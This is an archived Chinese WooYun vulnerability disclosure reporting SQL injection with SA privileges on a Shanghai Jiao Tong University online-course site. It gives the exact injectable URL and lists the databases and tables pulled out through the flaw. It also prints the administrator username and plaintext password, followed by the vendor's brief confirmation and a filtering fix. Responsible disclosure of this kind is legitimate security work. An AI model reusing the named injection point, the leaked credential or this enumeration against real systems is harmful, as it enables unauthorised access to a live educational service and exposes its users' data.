乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-26： 细节已通知厂商并且等待厂商处理中 2015-08-26： 厂商已经确认，细节仅向厂商公开 2015-09-05： 细节向核心白帽子及相关领域专家公开 2015-09-15： 细节向普通白帽子公开 2015-09-25： 细节向实习白帽子公开 2015-10-10： 细节向公众公开
sa。。sa。。
注入点：
http://jpkc.onlinesjtu.com/zzxyl/sztl/alfx_content.asp?id=9
SA权限。。。
17个库
Database: qxpdb[27 tables]+---------------------------------------------------+| baogao || biji || dongtai_tl || dongtai_tl || dtproperties || fenzu || gongke || jindu || khzy || liuyan || member || notice || renwu || shiti_jd || shiti_jd || shiti_pd || shiti_tk || shiti_xx || shiti_xz || xitong || youxi || zhangjie || zhangjietime || zhengce_tl || zhengce_tl || zixun || zuoye |+---------------------------------------------------+Database: jd_zhengzhi[32 tables]+---------------------------------------------------+| D99_CMD || D99_Tmp || admin || al_pinglun || bbs_bankuai || bbs_message || bbs_tiezi || bbs_topic || bbs_url || chatinfo || chatsubject || dtproperties || groups || jindus || jingxuan || jingxuantime || kill_kk || manage_user || member || notdownload || note || notices || sz_alfx || sz_pinglun || sz_taolun || toupiao_info || toupiaolist || userinfo || v_advice || v_title || vote || ziceti |+---------------------------------------------------+Database: Jingpin[10 tables]+---------------------------------------------------+| AW_QuestionFile || G_Admin || G_Jie || G_Knowledge_new || G_Knowledge_new || G_Test || G_Zhang || VIEW_G_Jie || VIEW_G_Knowledge || dtproperties |+---------------------------------------------------+Database: mncghis[7 tables]+---------------------------------------------------+| lastzs || price_zs || price_zs || stock_payoff || userbalancelog || userhisperiod || userid |+---------------------------------------------------+Database: moodle2_log[15 tables]+---------------------------------------------------+| emdl_CourseStudentTeacher_history || emdl_active_stat || emdl_examfinalscoreprocessqueue || emdl_examfinalscoreprocessqueue || emdl_forum_stat || emdl_homework_stat || emdl_homeworkkqscore || emdl_homeworkmarked_history || emdl_homeworkmarked_history || emdl_homeworkscore || emdl_mlCourse || emdl_resource_stat || kqscore || mdl_log || scoretemp |+---------------------------------------------------+Database: msdb[21 tables]+---------------------------------------------------+| backupfile || backupmediafamily || backupmediaset || backupset || logmarkhistory || restorefilegroup || restorefilegroup || restorehistory || suspect_pages || sysdac_instances || syspolicy_conditions || syspolicy_configuration || syspolicy_object_sets || syspolicy_policies || syspolicy_policy_categories || syspolicy_policy_category_subscriptions || syspolicy_policy_execution_history_details || syspolicy_policy_execution_history_details || syspolicy_system_health_state || syspolicy_target_set_levels || syspolicy_target_sets |+---------------------------------------------------+Database: jd_baozhuang[36 tables]+---------------------------------------------------+| admin || bbs1 || bbs_bankuai || bbs_message || bbs_tiezi || bbs_topic || bbs_url || bbslink || bdinfo || chatinfo || chatsubject || config || dtproperties || groups || lockip || manage_user || member || notdownload || notdownload || note || notices || online || paper || plugin || sms || style || topic || toupiao_info || toupiaolist || upload || userinfo || userinfo || v_advice || v_title || vote || ziceti |+---------------------------------------------------+Database: master[363 tables]+---------------------------------------------------+| INFORMATION_SCHEMA.CHECK_CONSTRAINTS || INFORMATION_SCHEMA.COLUMNS || INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE || INFORMATION_SCHEMA.COLUMN_PRIVILEGES || INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE || INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE || INFORMATION_SCHEMA.DOMAINS || INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS || INFORMATION_SCHEMA.KEY_COLUMN_USAGE || INFORMATION_SCHEMA.PARAMETERS || INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS || INFORMATION_SCHEMA.ROUTINES || INFORMATION_SCHEMA.ROUTINE_COLUMNS || INFORMATION_SCHEMA.SCHEMATA || INFORMATION_SCHEMA.TABLES || INFORMATION_SCHEMA.TABLE_CONSTRAINTS || INFORMATION_SCHEMA.TABLE_PRIVILEGES || INFORMATION_SCHEMA.VIEWS || INFORMATION_SCHEMA.VIEW_COLUMN_USAGE || INFORMATION_SCHEMA.VIEW_TABLE_USAGE || spt_fallback_db || spt_fallback_dev || spt_fallback_usg || spt_monitor || spt_values || sys.all_columns || sys.all_objects || sys.all_parameters || sys.all_sql_modules || sys.all_views || sys.allocation_units || sys.assemblies || sys.assembly_files || sys.assembly_modules || sys.assembly_references || sys.assembly_types || sys.asymmetric_keys || sys.backup_devices || sys.certificates || sys.change_tracking_databases || sys.change_tracking_tables || sys.check_constraints || sys.column_type_usages || sys.column_xml_schema_collection_usages || sys.columns || sys.computed_columns || sys.configurations || sys.conversation_endpoints || sys.conversation_groups || sys.conversation_priorities || sys.credentials || sys.crypt_properties || sys.cryptographic_providers || sys.data_spaces || sys.database_audit_specification_details || sys.database_audit_specifications || sys.database_files || sys.database_mirroring_endpoints || sys.database_mirroring_endpoints || sys.database_mirroring_witnesses || sys.database_permissions || sys.database_principal_aliases || sys.database_principals || sys.database_recovery_status || sys.database_role_members || sys.databases || sys.default_constraints || sys.destination_data_spaces || sys.dm_audit_actions || sys.dm_audit_class_type_map || sys.dm_broker_activated_tasks || sys.dm_broker_connections || sys.dm_broker_forwarded_messages || sys.dm_broker_queue_monitors || sys.dm_cdc_errors || sys.dm_cdc_log_scan_sessions || sys.dm_clr_appdomains || sys.dm_clr_loaded_assemblies || sys.dm_clr_properties || sys.dm_clr_tasks || sys.dm_cryptographic_provider_properties || sys.dm_database_encryption_keys || sys.dm_db_file_space_usage || sys.dm_db_index_usage_stats || sys.dm_db_mirroring_auto_page_repair || sys.dm_db_mirroring_connections || sys.dm_db_mirroring_past_actions || sys.dm_db_missing_index_details || sys.dm_db_missing_index_group_stats || sys.dm_db_missing_index_groups || sys.dm_db_partition_stats || sys.dm_db_persisted_sku_features || sys.dm_db_script_level || sys.dm_db_session_space_usage || sys.dm_db_task_space_usage || sys.dm_exec_background_job_queue_stats || sys.dm_exec_background_job_queue_stats || sys.dm_exec_cached_plans || sys.dm_exec_connections || sys.dm_exec_procedure_stats || sys.dm_exec_query_memory_grants || sys.dm_exec_query_optimizer_info || sys.dm_exec_query_resource_semaphores || sys.dm_exec_query_stats || sys.dm_exec_query_transformation_stats || sys.dm_exec_requests || sys.dm_exec_sessions || sys.dm_exec_trigger_stats || sys.dm_filestream_file_io_handles || sys.dm_filestream_file_io_requests || sys.dm_fts_active_catalogs || sys.dm_fts_fdhosts || sys.dm_fts_index_population || sys.dm_fts_memory_buffers || sys.dm_fts_memory_pools || sys.dm_fts_outstanding_batches || sys.dm_fts_population_ranges || sys.dm_io_backup_tapes || sys.dm_io_cluster_shared_drives || sys.dm_io_pending_io_requests || sys.dm_os_buffer_descriptors || sys.dm_os_child_instances || sys.dm_os_cluster_nodes || sys.dm_os_dispatcher_pools || sys.dm_os_dispatchers || sys.dm_os_hosts || sys.dm_os_latch_stats || sys.dm_os_loaded_modules || sys.dm_os_memory_allocations || sys.dm_os_memory_brokers || sys.dm_os_memory_cache_clock_hands || sys.dm_os_memory_cache_counters || sys.dm_os_memory_cache_entries || sys.dm_os_memory_cache_hash_tables || sys.dm_os_memory_clerks || sys.dm_os_memory_node_access_stats || sys.dm_os_memory_nodes || sys.dm_os_memory_objects || sys.dm_os_memory_pools || sys.dm_os_nodes || sys.dm_os_performance_counters || sys.dm_os_process_memory || sys.dm_os_ring_buffers || sys.dm_os_schedulers || sys.dm_os_spinlock_stats || sys.dm_os_stacks || sys.dm_os_sublatches || sys.dm_os_sys_info || sys.dm_os_sys_memory || sys.dm_os_tasks || sys.dm_os_threads || sys.dm_os_virtual_address_dump || sys.dm_os_wait_stats || sys.dm_os_waiting_tasks || sys.dm_os_windows_info || sys.dm_os_worker_local_storage || sys.dm_os_workers || sys.dm_qn_subscriptions || sys.dm_repl_articles || sys.dm_repl_schemas || sys.dm_repl_tranhash || sys.dm_repl_traninfo || sys.dm_resource_governor_configuration || sys.dm_resource_governor_resource_pools || sys.dm_resource_governor_workload_groups || sys.dm_server_audit_status || sys.dm_server_memory_dumps || sys.dm_server_registry || sys.dm_server_services || sys.dm_tran_active_snapshot_database_transactions || sys.dm_tran_active_transactions || sys.dm_tran_commit_table || sys.dm_tran_current_snapshot || sys.dm_tran_current_transaction || sys.dm_tran_database_transactions || sys.dm_tran_locks || sys.dm_tran_session_transactions || sys.dm_tran_top_version_generators || sys.dm_tran_transactions_snapshot || sys.dm_tran_version_store || sys.dm_xe_map_values || sys.dm_xe_object_columns || sys.dm_xe_objects || sys.dm_xe_packages || sys.dm_xe_session_event_actions || sys.dm_xe_session_events || sys.dm_xe_session_object_columns || sys.dm_xe_session_targets || sys.dm_xe_sessions || sys.endpoint_webmethods || sys.endpoints || sys.event_notification_event_types || sys.event_notifications || sys.events || sys.extended_procedures || sys.extended_properties || sys.filegroups || sys.foreign_key_columns || sys.foreign_keys || sys.fulltext_catalogs || sys.fulltext_document_types || sys.fulltext_index_catalog_usages || sys.fulltext_index_columns || sys.fulltext_index_fragments || sys.fulltext_indexes || sys.fulltext_languages || sys.fulltext_stoplists || sys.fulltext_stopwords || sys.fulltext_system_stopwords || sys.function_order_columns || sys.http_endpoints || sys.identity_columns || sys.index_columns || sys.indexes || sys.internal_tables || sys.key_constraints || sys.key_encryptions || sys.linked_logins || sys.login_token || sys.master_files || sys.master_key_passwords || sys.message_type_xml_schema_collection_usages || sys.messages || sys.module_assembly_usages || sys.numbered_procedure_parameters || sys.numbered_procedures || sys.objects || sys.openkeys || sys.parameter_type_usages || sys.parameter_xml_schema_collection_usages || sys.parameters || sys.partition_functions || sys.partition_parameters || sys.partition_range_values || sys.partition_schemes || sys.partitions || sys.plan_guides || sys.procedures || sys.remote_logins || sys.remote_service_bindings || sys.resource_governor_configuration || sys.resource_governor_resource_pools || sys.resource_governor_workload_groups || sys.routes || sys.schemas || sys.securable_classes || sys.server_assembly_modules || sys.server_audit_specification_details || sys.server_audit_specifications || sys.server_audits || sys.server_event_notifications || sys.server_event_session_actions || sys.server_event_session_events || sys.server_event_session_fields || sys.server_event_session_targets || sys.server_event_sessions || sys.server_events || sys.server_file_audits || sys.server_permissions || sys.server_principal_credentials || sys.server_principals || sys.server_role_members || sys.server_sql_modules || sys.server_trigger_events || sys.server_triggers || sys.servers || sys.service_broker_endpoints || sys.service_contract_message_usages || sys.service_contract_usages || sys.service_contracts || sys.service_message_types || sys.service_queue_usages || sys.service_queues || sys.services || sys.soap_endpoints || sys.spatial_index_tessellations || sys.spatial_indexes || sys.spatial_reference_systems || sys.sql_dependencies || sys.sql_expression_dependencies || sys.sql_logins || sys.sql_modules || sys.stats_columns || sys.stats_columns || sys.symmetric_keys || sys.synonyms || sys.sysaltfiles || sys.syscacheobjects || sys.syscharsets || sys.syscolumns || sys.syscomments || sys.sysconfigures || sys.sysconstraints || sys.syscurconfigs || sys.syscursorcolumns || sys.syscursorrefs || sys.syscursors || sys.syscursortables || sys.sysdatabases || sys.sysdepends || sys.sysdevices || sys.sysfilegroups || sys.sysfiles || sys.sysforeignkeys || sys.sysfulltextcatalogs || sys.sysindexes || sys.sysindexkeys || sys.syslanguages || sys.syslockinfo || sys.syslogins || sys.sysmembers || sys.sysmessages || sys.sysobjects || sys.sysoledbusers || sys.sysopentapes || sys.sysperfinfo || sys.syspermissions || sys.sysprocesses || sys.sysprotects || sys.sysreferences || sys.sysremotelogins || sys.sysservers || sys.system_columns || sys.system_components_surface_area_configuration || sys.system_internals_allocation_units || sys.system_internals_partition_columns || sys.system_internals_partitions || sys.system_objects || sys.system_parameters || sys.system_sql_modules || sys.system_views || sys.systypes || sys.sysusers || sys.table_types || sys.tables || sys.tcp_endpoints || sys.trace_categories || sys.trace_columns || sys.trace_event_bindings || sys.trace_events || sys.trace_subclass_values || sys.traces || sys.transmission_queue || sys.trigger_event_types || sys.trigger_events || sys.triggers || sys.type_assembly_usages || sys.types || sys.user_token || sys.via_endpoints || sys.views || sys.xml_indexes || sys.xml_schema_attributes || sys.xml_schema_collections || sys.xml_schema_component_placements || sys.xml_schema_components || sys.xml_schema_elements || sys.xml_schema_facets || sys.xml_schema_model_groups || sys.xml_schema_namespaces || sys.xml_schema_types || sys.xml_schema_wildcard_namespaces || sys.xml_schema_wildcards |+---------------------------------------------------+Database: jrxdb[32 tables]+---------------------------------------------------+| Bujiao || WebScore || addstudentscore || baogao || biji || dongtai_tl || dongtai_tl || dtproperties || excelstudent || fenzu || gongke || jindu || khzy || liuyan || lscore || member || notice || renwu || shiti_jd || shiti_jd || shiti_pd || shiti_tk || shiti_xx || shiti_xz || xitong || youxi || zhangjie || zhangjietime || zhengce_tl || zhengce_tl || zixun || zuoye |+---------------------------------------------------+Database: Pinpin[67 tables]+---------------------------------------------------+| G_AM_Question || G_Chapter || G_Course || G_Flash || G_Hwk_Answer_File || G_Hwk_Answer_File || G_Hwk_Answer_File || G_Hwk_File || G_Hwk_Question || G_Knowledge_Relation || G_Knowledge_Relation || G_Notice || G_Parent_Visit_Log || G_Parent_Visit_Log || G_Practice || G_Question_Knowledge || G_Question_Knowledge || G_Reference || G_Resource_Knowledge || G_Resource_Knowledge || G_Resource_Type || G_Resource_Visit_Log || G_Section_bak || G_Section_bak || G_Student_Course || G_Student_Course || G_Student_Knowledge_Score_Current || G_Student_Knowledge_Score_Current || G_Student_Visit_Log || G_Teacher_Visit_Log || G_Teacher_Visit_Log || G_Test_Question_Record || G_Test_Record1 || G_Test_Record1 || G_VOD_Log || G_VOD_Test_Record || G_Video_Knowledge || G_Video_Knowledge || board || dtproperties || rwenzhang || sum || sysdiagrams || tmp_Test_Stamp || v_G_Chapter_Section_Knowledge || v_G_Chapter_Section_Knowledge || v_G_Flash_Knowledge || v_G_Hwk_Answer || v_G_Hwk_Answer || v_G_Hwk_File || v_G_Hwk_Question || v_G_Knowledge_Relation || v_G_Online_Student || v_G_Question_Knowledge || v_G_Reference_Knowledge || v_G_Reference_Knowledge || v_G_Resource_Visit_log || v_G_Resource_Visit_log || v_G_Student_Knowledge_Score || v_G_Student_Knowledge_Weight_Score || v_G_Student_Question_Knowledge || v_G_Student_Test_Knowledge || v_G_Student_VOD_Knowledge || v_G_Test_Record || v_G_VOD_Log || v_G_Video_Knowledge || wenzhang |+---------------------------------------------------+
太多，就选择当前库得到管理员信息。。
用户：admin 密码:tangna123大学教育网，未深入！
敏感字符过滤！
危害等级：高
漏洞Rank：15
确认时间：2015-08-26 10:02
谢谢，我们立即处理。
暂无
![7)FGNNWF2E]04`XVHR[W}BW.png](http://wimg.zone.ci/upload/201508/251341207f368bc48b937205db91eec71df45140.png)
